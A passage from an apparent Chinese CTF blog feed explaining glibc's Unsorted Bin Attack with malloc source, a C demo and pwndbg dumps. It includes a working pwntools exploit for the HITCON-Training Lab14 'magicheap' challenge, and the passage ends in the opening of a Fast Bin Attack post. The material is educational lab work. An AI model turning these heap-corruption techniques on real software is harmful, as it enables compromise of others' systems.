Unsorted Bin 中后再打出其 fd。一般的笔记管理题都会有 show 的功能,对处于链表尾的节点 show 就可以获得 libc 的基地址了。</p></blockquote><blockquote><p>特别的,CTF 中的利用,堆往往是刚刚初始化的,所以 Unsorted Bin 一般都是干净的,当里面只存在一个 bin 的时候,该 bin 的 fd 和 bk 都会指向 main_arena 中。</p></blockquote><blockquote><p>另外,如果我们无法做到访问链表尾,但是可以访问链表头,那么在 32 位的环境下,对链表头进行 printf 等往往可以把 fd 和 bk 一起输出出来,这个时候同样可以实现有效的 leak。然而在 64 位下,由于高地址往往为 <code>\x00</code>,很多输出函数会被截断,这个时候可能就难以实现有效 leak。</p></blockquote><h2 id="Unsorted-Bin-Attack-原理"><a href="#Unsorted-Bin-Attack-原理" class="headerlink" title="Unsorted Bin Attack 原理"></a>Unsorted Bin Attack 原理</h2><p>在 <a href="code.woboq.org/userspace/glibc/malloc/malloc.c.html">glibc/malloc/malloc.c</a>中的 <code>_int_malloc</code> 中有这样的一段代码,当将一个 unsorted bin 取出的时候,会将 <code>bck->fd</code> 的位置写入本 Unsorted Bin 的位置。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/* remove from unsorted list */</span><br><span class="hljs-keyword">if</span> (__glibc_unlikely (bck->fd != victim))<br> malloc_printerr (<span class="hljs-string">"malloc(): corrupted unsorted chunks 3"</span>);<br>unsorted_chunks (av)->bk = bck;<br>bck->fd = unsorted_chunks (av);<br></code></pre></td></tr></table></figure><p>关注后两行:unsorted_chunk的bk指针指向的是它后一个被释放的chunk的块地址(bck),后一个被释放的chunk的fd指针指向的是unsorted_chunk的块地址。如果我们能够控制unsorted_chunk的bk,那么就意味着可以将unsorted_chunks (av),即unsorted_chunk的块地址写到任意可写地址内。</p><h3 id="不深入也不知道浅不浅出"><a href="#不深入也不知道浅不浅出" class="headerlink" title="不深入也不知道浅不浅出"></a>不深入也不知道浅不浅出</h3><p>这里以how2heap为例子</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">// gcc test.c -g -no-pie -o test</span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span> {<br><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> target_var = <span class="hljs-number">0</span>;<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>,<span class="hljs-string">"&target_var and target_var:\n"</span>);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"%p: %ld\n\n"</span>, &target_var, target_var);<br><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> *p = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">400</span>);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"The first chunk_addr at: %p\n"</span>,p);<br><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">500</span>);<br><br> <span class="hljs-built_in">free</span>(p);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"The first chunk_fd is %p\n"</span>,(<span class="hljs-type">void</span> *)p[<span class="hljs-number">1</span>]);<br><br> p[<span class="hljs-number">1</span>] = (<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>)(&target_var - <span class="hljs-number">2</span>);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"Now,The first chunk_fd is %p\n\n"</span>, (<span class="hljs-type">void</span> *)p[<span class="hljs-number">1</span>]);<br><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">400</span>);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"target has been rewrite %p: %p\n"</span>, &target_var, (<span class="hljs-type">void</span> *)target_var);<br>}<br></code></pre></td></tr></table></figure><p>程序执行流程:</p><ol><li>首先定义了一个无符号long类型的变量target_var,并赋值为0</li><li>接下来打印出target_var所在地址及target_var中的内容</li><li>创建了一个size为0x1A0(400 + 16)大小的chunk,并将malloc指针赋给p指针,然后打印出p的地址。</li><li>创建了一个size为0x204(500 + 16)的chunk,在释放p指针指向的chunk_400后打印出chunk_400的fd的内容。</li><li>将chunk_400的fd位置修改成 <code>target_var_addr - 0x10</code> 的地址。然后重新申请size为0x1A0(400 + 16)大小的chunk。</li><li>最后打印出target_var地址及target_var中的内容。</li></ol><p>首先我们在第14行下断点,使程序走过 <code>unsigned long target_var = 0;</code> 和 <code>unsigned long *p = malloc(400);</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">b 14</span><br>Breakpoint 1 at 0x40072f: file test.c, line 14.<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">r</span><br>Starting program: /home/ctf/CTF-Workspace/unsortedbin-attack/test<br>&target_var and target_var:<br>0x7ffe4cb8d888: 0<br><br>The first chunk_addr at: 0x1e406010<br><br>......<br><span class="hljs-meta prompt_"></span><br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/4gx 0x7ffe4cb8d888</span><br>0x7ffe4cb8d888: 0x0000000000000000 0x000000001e406010<br>0x7ffe4cb8d898: 0x29b6e71153467800 0x00000000004007f0<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/40gx 0x1e406010</span><br>0x1e406010: 0x0000000000000000 0x0000000000000000<br>0x1e406020: 0x0000000000000000 0x0000000000000000<br>0x1e406030: 0x0000000000000000 0x0000000000000000<br>0x1e406040: 0x0000000000000000 0x0000000000000000<br>0x1e406050: 0x0000000000000000 0x0000000000000000<br>0x1e406060: 0x0000000000000000 0x0000000000000000<br>0x1e406070: 0x0000000000000000 0x0000000000000000<br>0x1e406080: 0x0000000000000000 0x0000000000000000<br>0x1e406090: 0x0000000000000000 0x0000000000000000<br>0x1e4060a0: 0x0000000000000000 0x0000000000000000<br>0x1e4060b0: 0x0000000000000000 0x0000000000000000<br>0x1e4060c0: 0x0000000000000000 0x0000000000000000<br>0x1e4060d0: 0x0000000000000000 0x0000000000000000<br>0x1e4060e0: 0x0000000000000000 0x0000000000000000<br>0x1e4060f0: 0x0000000000000000 0x0000000000000000<br>0x1e406100: 0x0000000000000000 0x0000000000000000<br>0x1e406110: 0x0000000000000000 0x0000000000000000<br>0x1e406120: 0x0000000000000000 0x0000000000000000<br>0x1e406130: 0x0000000000000000 0x0000000000000000<br>0x1e406140: 0x0000000000000000 0x0000000000000000<br><span class="hljs-meta prompt_">pwndbg></span><br></code></pre></td></tr></table></figure><p>接下来b 19</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">b 19</span><br>Breakpoint 2 at 0x40076c: file test.c, line 19.<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">c</span><br>Continuing.<br>The first chunk_fd is 0x7f94a8840b78<br><br>... <br><span class="hljs-meta prompt_"></span><br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/60gx 0x1e406010</span><br>0x1e406010: 0x00007f94a8840b78 [fd] 0x00007f94a8840b78 [bk]<br>0x1e406020: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p>首先创建的 <code>chunk_500</code> 是为了使 <code>chunk_400</code> 被释放后挂进 <code>Unsorted bin</code> 链表中:释放一个不属于 fastbin 的chunk,并且该 chunk 不与 top chunk 相邻,该 chunk 会被首先放到 Unsorted bin 中</p><p>可以观察到由于 <code>chunk_400</code> 是第一个被释放进 Unsorted bin 中的 chunk,所以 chunk_400 的 fd 指针和 bk 指针均指向 Unsorted bin addr(0x7f94a8840b78)</p><p>接下来我们将断点下在第22行,完成p[1] = (unsigned long)(&target_var - 2);</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">b 22</span><br>Breakpoint 3 at 0x4007a6: file test.c, line 22.<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">c</span><br>Continuing.<br>Now,The first chunk_fd is 0x7ffe4cb8d878<br><br>...<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/60gx 0x1e406010</span><br>0x1e406010: 0x00007f94a8840b78 0x00007ffe4cb8d878<br>0x1e406020: 0x0000000000000000 0x0000000000000000<br>0x1e406030: 0x0000000000000000 0x0000000000000000<br>0x1e406040: 0x0000000000000000 0x0000000000000000<br>0x1e406050: 0x0000000000000000 0x0000000000000000<br>0x1e406060: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p><code>p[1] = (unsigned long)(&target_var - 2);</code> 这段代码其实修改的是 chunk_400 的 bk 指针,使其指向了 <code>target_var_addr - 0x10</code> 这一处地址</p><blockquote><p>为什么减去的是0x10,因为target_var 是unsigned long类型的,&target_var - 2就意味着要减去两个地址位宽(8 + 8)<br>为什么要减去0x10,这是因为想将target_var所在地址作为一个fake_chunk的malloc地址,即fake_chunk的fd位置,减0x10的位置就是fake_chunk的块指针,这样才符合Unsorted bin双向链表的规则</p></blockquote><p>接下来我们将断点下在第23行,完成 <code>malloc(400)</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">b 23</span><br>Breakpoint 4 at 0x4007b0: file test.c, line 23.<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">unsortedbin</span><br>unsortedbin<br>all [corrupted]<br>FD: 0x1e406000 —▸ 0x7f94a8840b78 (main_arena+88) ◂— 0x1e406000<br>BK: 0x1e406000 —▸ 0x7ffe4cb8d878 —▸ 0x1e406010 ◂— 0x0<br><span class="hljs-meta prompt_"></span><br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">c</span><br><br>......<br><span class="hljs-meta prompt_"></span><br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/60gx 0x1e406010</span><br>0x1e406010: 0x00007f94a8840b78 0x00007ffe4cb8d878<br>0x1e406020: 0x0000000000000000 0x0000000000000000<br>0x1e406030: 0x0000000000000000 0x0000000000000000<br>0x1e406040: 0x0000000000000000 0x0000000000000000<br>0x1e406050: 0x0000000000000000 0x0000000000000000<br>0x1e406060: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p>可以看到在重新申请一个malloc(400)后,chunk_400被重新启用了,与之伴随的就是fake_chunk的fd链接到Unsorted bin addr,也就是说taget_var变量中的值就变为了 <code>0x00007f94a8840b78</code> ,我们继续让程序执行完,我们看一下打印出来的结果:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">c</span><br>Continuing.<br>target has been rewrite 0x7ffe4cb8d888: 0x7f94a8840b78<br>[Inferior 1 (process 265) exited normally]<br><span class="hljs-meta prompt_">pwndbg></span><br></code></pre></td></tr></table></figure><p>可以看到target_var变量中的值已经变为 <code>0x7f94a8840b78</code> </p><p>以下几幅图重示上面的流程:<br><img src="/images/unsortedbin-attack/1.png"></p><p>首先在没有任何chunk挂进Unsorted bin链表的时候,Unsorted bin的fd与bk指针均指向自身的chunk头(左图)。接下来,我们释放chunk_400,由于有chunk_500的原因,所以chunk_400会被挂进Unsorted bin中。那么chunk_400作为唯一一个被挂进Unsorted bin中的chunk,其fd与bk指针都会指向Unsorted bin的chunk头,Unsorted bin的fd和bk指针也会都指向chunk_400</p><p><img src="/images/unsortedbin-attack/2.png"></p><p>在执行 <code>p[1] = (unsigned long)(&target_var - 2)</code> 修改完chunk_400的bk指针后,bk链接的就是以 <code>target - 0x10</code> 为块头的fake_chunk了。这里需要注意的是,由于chunk_400现在还挂在Unsorted bin中,我们此时更改chunk_400的bk会导致corrupted</p><p><img src="/images/unsortedbin-attack/3.png"><br>由于在上一个步骤中发生了corrupted,所以在重启chunk_400的时候,Unsorted bin的fd依然还会指向fake_chunk。但chunk_400已经被拿走了,此时fake_chunk就与Unsorted bin相邻了,所以fake_chunk作为Unsorted bin的后一个chunk,fake_chunk的fd指针(即target的值)就会执行Unsorted bin的块头。Unsorted bin的bk指针将会指向fake_chunk的块头</p><p>那么这样一来target中的值就从0变为了Unsorted bin的地址了</p><p>总结一个流程:</p><ol><li>victim = unsorted_chunks(av)->bk=p</li><li>bck = victim->bk=p->bk = target addr-16</li><li>unsorted_chunks(av)->bk = bck=target addr-16</li><li>bck->fd = *(target addr -16+16) = unsorted_chunks(av);</li></ol><blockquote><p>如果有点懵的话也可以看看这张图:</p></blockquote><p><img src="/images/unsortedbin-attack/4.png"></p><h2 id="HITCON-Training-Lab14"><a href="#HITCON-Training-Lab14" class="headerlink" title="HITCON-Training Lab14"></a>HITCON-Training Lab14</h2><p><a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/user-mode/heap/unsorted_bin_attack/hitcontraining_lab14">download</a></p><h3 id="Checksec"><a href="#Checksec" class="headerlink" title="Checksec"></a>Checksec</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_"># </span><span class="language-bash">ctf @ 646be31c85ae <span class="hljs-keyword">in</span> ~/CTF-Workspace/unsortedbin-attack/hitcontraining-lab14 [5:24:44]</span><br><span class="hljs-meta prompt_">$ </span><span class="language-bash">checksec magicheap</span><br>[*] '/home/ctf/CTF-Workspace/unsortedbin-attack/hitcontraining-lab14/magicheap'<br> Arch: amd64-64-little<br> RELRO: Partial RELRO<br> Stack: Canary found<br> NX: NX enabled<br> PIE: No PIE (0x400000)<br> Stripped: No<br><span class="hljs-meta prompt_"></span><br><span class="hljs-meta prompt_"># </span><span class="language-bash">ctf @ 646be31c85ae <span class="hljs-keyword">in</span> ~/CTF-Workspace/unsortedbin-attack/hitcontraining-lab14 [5:24:47]</span><br><span class="hljs-meta prompt_">$ </span><span class="language-bash">file magicheap</span><br>magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1, not stripped<br></code></pre></td></tr></table></figure><h3 id="静态分析"><a href="#静态分析" class="headerlink" title="静态分析"></a>静态分析</h3><p>本处省略静态分析过程内容,过程指北<a href="https://blog.csdn.net/qq_41202237/article/details/112589899">hollk - 好好说话之Unsorted Bin Attack</a></p><p>通过前面检查保护及静态分析阶段,我们得到了两个关键点:</p><ul><li>如果全局变量magic(0x6020C0)的数值大于4869(0x1305)就会触发程序中的system(“cat flag”)</li><li>在edit_heap()函数中存在堆溢出</li></ul><p>由于拿flag的条件仅仅只是magic的数值,所以完全可以利用Unsorted Bin Attack这种攻击手法,将全局变量magic(0x6020C0)中的数值调整为一个较大的数值</p><h3 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h3><p>最核心的部分应该是这四行以及修改p的bk指针为目的地址target-0x10(64位是-0x10,32位-0x08):</p><ol><li>victim = unsorted_chunks(av)->bk=p</li><li>bck = victim->bk=p->bk = target addr-16</li><li>unsorted_chunks(av)->bk = bck=target addr-16</li><li>bck->fd = *(target addr -16+16) = unsorted_chunks(av);</li></ol><p>这样也就将*target 的值修改为了unsorted bin 链表的头结点的地址了,这个地址往往是非常大的一个正数。</p><p>exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#!/usr/bin/env python3</span><br><span class="hljs-comment"># -*- coding: utf-8 -*-</span><br><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>r = process(<span class="hljs-string">'./magicheap'</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">create_heap</span>(<span class="hljs-params">size, content</span>):<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-string">b"1"</span>)<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-built_in">str</span>(size).encode())<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(content.encode() <span class="hljs-keyword">if</span> <span class="hljs-built_in">isinstance</span>(content, <span class="hljs-built_in">str</span>) <span class="hljs-keyword">else</span> content)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">edit_heap</span>(<span class="hljs-params">idx, size, content</span>):<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-string">b"2"</span>)<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-built_in">str</span>(idx).encode())<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-built_in">str</span>(size).encode())<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(content.encode() <span class="hljs-keyword">if</span> <span class="hljs-built_in">isinstance</span>(content, <span class="hljs-built_in">str</span>) <span class="hljs-keyword">else</span> content)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">del_heap</span>(<span class="hljs-params">idx</span>):<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-string">b"3"</span>)<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-built_in">str</span>(idx).encode())<br><br>create_heap(<span class="hljs-number">0x20</span>, <span class="hljs-string">b"dada"</span>) <span class="hljs-comment"># 0</span><br>create_heap(<span class="hljs-number">0x80</span>, <span class="hljs-string">b"dada"</span>) <span class="hljs-comment"># 1</span><br><span class="hljs-comment"># in order not to merge into top chunk</span><br>create_heap(<span class="hljs-number">0x20</span>, <span class="hljs-string">b"dada"</span>) <span class="hljs-comment"># 2</span><br><br>del_heap(<span class="hljs-number">1</span>)<br><br>magic = <span class="hljs-number">0x6020c0</span><br>fd = <span class="hljs-number">0</span><br>bk = magic - <span class="hljs-number">0x10</span><br><br>edit_heap(<span class="hljs-number">0</span>, <span class="hljs-number">0x20</span> + <span class="hljs-number">0x20</span>, <span class="hljs-string">b"a"</span> * <span class="hljs-number">0x20</span> + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x91</span>) + p64(fd) + p64(bk))<br>create_heap(<span class="hljs-number">0x80</span>, <span class="hljs-string">b"dada"</span>) <span class="hljs-comment"># trigger unsorted bin attack</span><br>r.recvuntil(<span class="hljs-string">b":"</span>)<br>r.sendline(<span class="hljs-string">b"4869"</span>)<br>r.interactive()<br></code></pre></td></tr></table></figure><p>pwned!</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_"># </span><span class="language-bash">ctf @ 646be31c85ae <span class="hljs-keyword">in</span> ~/CTF-Workspace/unsortedbin-attack/hitcontraining-lab14 [5:44:05]</span><br><span class="hljs-meta prompt_">$ </span><span class="language-bash">python3 exp.py</span><br>[+] Starting local process './magicheap': pid 887<br>[*] Switching to interactive mode<br>SuccessFul<br>--------------------------------<br> Magic Heap Creator<br>--------------------------------<br> 1. Create a Heap<br> 2. Edit a Heap<br> 3. Delete a Heap<br> 4. Exit<br>--------------------------------<br>Your choice :Congrt !<br>flag{hack_for_fun!}<br>--------------------------------<br> Magic Heap Creator<br>--------------------------------<br> 1. Create a Heap<br> 2. Edit a Heap<br> 3. Delete a Heap<br> 4. Exit<br>--------------------------------<br>Your choice :$<br></code></pre></td></tr></table></figure><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><p>CTF Wiki</p><ul><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/#2016-0ctf-zerostorage-">Unsorted Bin Attack</a></li></ul></li><li><p>CSDN</p><ul><li><a href="https://blog.csdn.net/qq_41202237/article/details/112589899">hollk - 好好说话之Unsorted Bin</a></li></ul></li><li><p><a href="https://blog.wjhwjhn.com/posts/hitcon-training-lab14-unsorted-bin-attack-magicheap-zjctf-2019easyheap/">WJH’s Blog- HITCON Training Lab14 Unsorted Bin Attack Magicheap & [ZJCTF 2019]EasyHeap</a></p></li><li><p><a href="http://liul14n.top/2020/02/21/Unsorted-bin-attack-lab14-magic-heap/">LiuLian - [Unsorted bin attack] lab14 magic heap</a></p></li><li><p><a href="https://github.com/bash-c/HITCON-Training-Writeup/blob/master/writeup.md">M4x@10.0.0.55 - HITCON-Training-Writeup</a></p></li><li><p><a href="https://zhuanlan.zhihu.com/p/390398222">知乎 - 看雪 - Pwn堆利用学习——Unsortedbin Attack——HITCON_Training_lab14_magicheap</a></p></li><li><p><a href="https://linkpwn.github.io/2025/07/18/unsorted-bin-attack/">网络幻影 - unsorted bin attack</a></p></li><li><p><a href="https://hacktricks.wiki/zh/binary-exploitation/libc-heap/unsorted-bin-attack.html">HackTricks - Unsorted Bin Attack</a></p></li><li><p><a href="https://xz.aliyun.com/news/6847">先知 - ama2in9 - 深入理解unsorted bin attack</a></p></li><li><p><a href="https://wiki.mrskye.cn/Pwn/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap">SkYe Wiki - Unsorted Bin Attack</a></p></li><li><p><a href="https://www.cnblogs.com/xiaochange/p/18206762">cnblogs - 山西小嫦娥 - PWN系列-Unsorted Bin Attack</a></p></li></ul>]]></content>
<categories>
<category>Heap</category>
</categories>
<tags>
<tag>Heap</tag>
<tag>Pwn</tag>
<tag>Unsorted Bin Attack</tag>
</tags>
</entry>
<entry>
<title>花与堆之Fast Bin Attack</title>
<link href="/2026/03/29/fastbin-attack/"/>
<url>/2026/03/29/fastbin-attack/</url>
<content type="html"><![CDATA[<h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:</p><ul><li>存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞</li><li>漏洞发生于 fastbin 类型的 chunk 中</li></ul><p>如果细分的话,可以做如下的分类:</p><ul><li>Fastbin Double Free</li><li>House of Spirit</li><li>Alloc to Stack</li><li>Arbitrary Alloc</li></ul><p>其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。</p><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。 </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span><br>{<br> <span class="hljs-type">void</span> *chunk1,*chunk2,*chunk3;<br> chunk1=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> chunk2=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br><br> <span class="hljs-built_in">free</span>(chunk1);<br> <span class="hljs-comment">// free(chunk2);</span><br> <span class="hljs-built_in">free</span>(chunk1);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>释放前:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs shell">0x602000: 0x0000000000000000 0x0000000000000041 <=== chunk1<br>0x602010: 0x0000000000000000 0x0000000000000000<br>0x602020: 0x0000000000000000 0x0000000000000000<br>0x602030: 0x0000000000000000 0x0000000000000000<br>0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2<br>0x602050: 0x0000000000000000 0x0000000000000000<br>0x602060: 0x0000000000000000 0x0000000000000000<br>0x602070: 